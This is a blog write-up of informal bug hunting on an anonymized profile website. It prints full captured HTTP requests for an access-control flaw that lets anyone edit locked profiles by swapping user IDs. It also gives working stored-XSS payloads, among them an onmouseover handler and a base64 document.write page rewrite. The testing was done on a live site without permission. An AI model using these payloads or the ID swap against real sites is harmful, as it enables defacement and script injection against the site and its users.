Adventures in bug hunting: Some XSS and access control fun

Occassionally, I will screw around and dig for bugs in web applications. It can be rewarding, because you're looking at something that's not intended to be vulnerable. You get to be kind of creative and poke around at something and learn how it works.

I recently found some cool XSS bugs on a site. There was also a bit of an access control issue and a potential avenue for CSRF that I poked at.

I'll do my best to make this descriptive while anonymizing the site information since they never responded to my messages.

Access control issue - Changing the CEO's locked profile

The site I was poking at has user profiles. These used to be editable without a membership, but the pricing model involved paying to "lock" your profile and control the information contained on it.

Paid users can lock their profile and prevent changes. However, it was possible to send a POST request to the API to make a change:


POST /[redacted].v1/pub/[redacted]edit/edits/[redacted]/[redacted-userID]/bio HTTP/1.1
Host: www.[redacted].com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101
Firefox/83.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.[redacted]/[user-name]/[user-id]
Content-Type: application/json
Origin: https://www.[redacted].com
Content-Length: 1537
Connection: close
Cookie: usid=e65185a4-fbfa-45e1-88bc-8aea2c1b8600; [redacted]_utm_source=SEO;
[redacted]=Google; ga_partner_id=eafeefab-6607-43be-8971-adfaf6cbec31;
[redacted]=SEO; pvct=c46c3ed3-a515-4342-8409-2b024e23b16a;
vid=d7f642f9-ec39-459d-b9ab-148310fc5911;
JSESSIONID=E41A5C1FEFC3F9BD058EB7EC15A6AA77

{"bio":"The truth is Daniel Black is
pretty awesome!"}

The individual profiles have a unique ID, which is a numeric code with a preceeded by a letter. (i.e. e1234567890 would represent a user).

Sending this request via curl, Postman or Burp Repeater would update any user profile, including those what were locked.

The easiest way to set this up is to access an editable profile (such as your own), edit the profile and capture the POST request using Burp.

Update the POST target URI to replace the user-id (i.e. e1234567890) with the target's user-id (i.e. e0987654321).

Sorry, I know it's light on details, but it's hard to share without naming the target and the CEO.

Before edit:

After:

Attempts to reach out to them, and the CEO himself, as well as calling their support, went unanswered.

Regardless, I was able to alter the summary contents of a locked profile. It looks like it's since been fixed, but in a roundabout way that still allows me to view "hidden" profile text via an API call.

In this case, they didn't account for someone bypassing client-side controls.

XSS fun

XSS is one of those things I feel like I will find less and less of, because sites try to protect against it.

This site definitely had some basic controls in place, but I noticed that they allowed me to insert links. This is to allow for viewing related profiles, (i.e. "Joe is related to Jill and John." with links to Jill and John's profiles).

I had the idea to attempt a few XSS payloads based on the fact that it allowed me to insert links. Worth noting is that this required bypassing client-side controls, as inserting links directly through the GUI did not work.

Using a method similar to above, in which I captured the POST request to the profile, something like this:


POST /[redacted].v1/pub/[redacted]edit/edits/[redacted]/[redacted-userID]/bio HTTP/1.1
Host: www.[redacted].com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101
Firefox/83.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.[redacted]/[user-name]/[user-id]
Content-Type: application/json
Origin: https://www.[redacted].com
Content-Length: 1537
Connection: close
Cookie: usid=e65185a4-fbfa-45e1-88bc-8aea2c1b8600; [redacted]_utm_source=SEO;
[redacted]=Google; ga_partner_id=eafeefab-6607-43be-8971-adfaf6cbec31;
[redacted]=SEO; pvct=c46c3ed3-a515-4342-8409-2b024e23b16a;
vid=d7f642f9-ec39-459d-b9ab-148310fc5911;
JSESSIONID=E41A5C1FEFC3F9BD058EB7EC15A6AA77

{"bio":"<MY PAYLOAD GOES HERE>"}

I was able to insert my payload in the bio's value paramter.

The payload looked something like this:

{
"bio":
"Derp. <a href='#' element onmouseover=alert('xss');>Nice nice.</a>"
}

Upon rolling over the link text, the alert would pop.

I tested different payload types, such as downloading a file from an S3 bucket. It all seemed to work.

The most interesting one, however, was using document.write with base64-encoded text to rewrite the page:

{
"bio":
"<a href='#' element onmouseover=document.write(atob('Cjxib2R5PgoKPGgxPndlbGNvbWU8L2gxPgoKPHN0eWxlPgpoMSB7CiAgdGV4dC1zaGFkb3c6IDJweCAycHggI2NjMDA5OTsKfQo8L3N0eWxlPgoKCjxzY3JpcHQ+Cgp7CiAgZG9jdW1lbnQuYm9keS5zdHlsZS5iYWNrZ3JvdW5kQ29sb3IgPSAiI2ZmOTlmZiI7Cn0KCgo8L3NjcmlwdD4KCgo8aW1nIHNyYz0iaHR0cHM6Ly91cGxvYWQud2lraW1lZGlhLm9yZy93aWtpcGVkaWEvY29tbW9ucy9iL2JjL0NyeXN0YWxfcGVwc2lfbG9nby5wbmciIGFsdD0iQ3J5c3RhbCBQZXBzaSI+CgoKPGgxIGlkPSJteUgyIj5FbmpveSBQZXBzaSBhbmQgdmFwb3J3YXZlLjwvaDE+CgoKCjxpZnJhbWUgd2lkdGg9IjU2MCIgaGVpZ2h0PSIzMTUiIHNyYz0iaHR0cHM6Ly93d3cueW91dHViZS5jb20vZW1iZWQvVUpzVXBlWEs2Sm8iIHRpdGxlPSJZb3VUdWJlIHZpZGVvIHBsYXllciIgZnJhbWVib3JkZXI9IjAiIGFsbG93PSJhY2NlbGVyb21ldGVyOyBhdXRvcGxheTsgY2xpcGJvYXJkLXdyaXRlOyBlbmNyeXB0ZWQtbWVkaWE7IGd5cm9zY29wZTsgcGljdHVyZS1pbi1waWN0dXJlIiBhbGxvd2Z1bGxzY3JlZW4+PC9pZnJhbWU+CgoKPGlmcmFtZSBzcmM9Imh0dHBzOi8vZ2lmZXIuY29tL2VtYmVkL0JEaUEiIHdpZHRoPTQ4MCBoZWlnaHQ9NDgwLjAwMCBmcmFtZUJvcmRlcj0iMCIgYWxsb3dGdWxsU2NyZWVuPjwvaWZyYW1lPjxwPjxhIGhyZWY9Imh0dHBzOi8vZ2lmZXIuY29tIj52aWEgR0lGRVI8L2E+PC9wPgoKPC9ib2R5Pgo='));>Testing testing, roll your mouse over me.</a>"
}

This made it easier for me to add html to a site in a way that wouldn't destroy my payload with weird HTML characters.

  • On mouseover, it uses "document.write" to re-write the document our JavaScript is on (this is temporarly and it's restored on refresh).
  • Then it uses atob(), a js function that decodes a string of data from base64 (more info here)
  • The actual encoded data decodes and writes to the document. It looks like this decoded:

<body>

<h1>welcome</h1>

<style>
h1 {
  text-shadow: 2px 2px #cc0099;
}
</style>


<script>

{
  document.body.style.backgroundColor = "#ff99ff";
}


</script>


<img src="https://upload.wikimedia.org/wikipedia/commons/b/bc/Crystal_pepsi_logo.png" alt="Crystal Pepsi">


<h1 id="myH2">Enjoy Pepsi and vaporwave.</h1>



<iframe width="560" height="315" src="https://www.youtube.com/embed/UJsUpeXK6Jo" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>


<iframe src="https://gifer.com/embed/BDiA" width=480 height=480.000 frameBorder="0" allowFullScreen></iframe><p><a href="https://gifer.com">via GIFER</a></p>

</body>

Luckily, the field length didn't truncate, so I was able to make it load as expected.

It prints something like this on execution:

Another XSS vuln in the same site

Another feature of this website is to include an employement history. The employer name will become a link in the user's profile.

The site removed the ability to update employement information unless the user is authenticated. It's possible to "claim" your profile by creating a name, age and address that matches the user profile you are trying to edit or telling the website, "this is me."

There seems to be no additional verification. The profile bios were no longer editable, but the employement information was, so long as you're authenticated.

There was an option to edit "work."

It looks something like this before and after editing:

Editing:

It looks something like this:

(with the payload being: <a href="#" element onmouseover="alert('1')";>Test</a>)

It didn't sanitize, but I did a bit of testing within Burp to get the payload to work initially.

And now it's embedded in the profile:

Rolling over "Test" will pop an alert:

A similar payload to the one demonstrated in the document.write example is also possible. However, it has a character limit and will error on submission, meaning the payload has to be much, much shorter. Perhaps a script src tag would make that possible.

More stuff

I've also been testing for some CSRF, and have some ideas for things that may be possible. I'll just have to run some more tests to see if they work the way I think they do.

Anyway, that's all for now.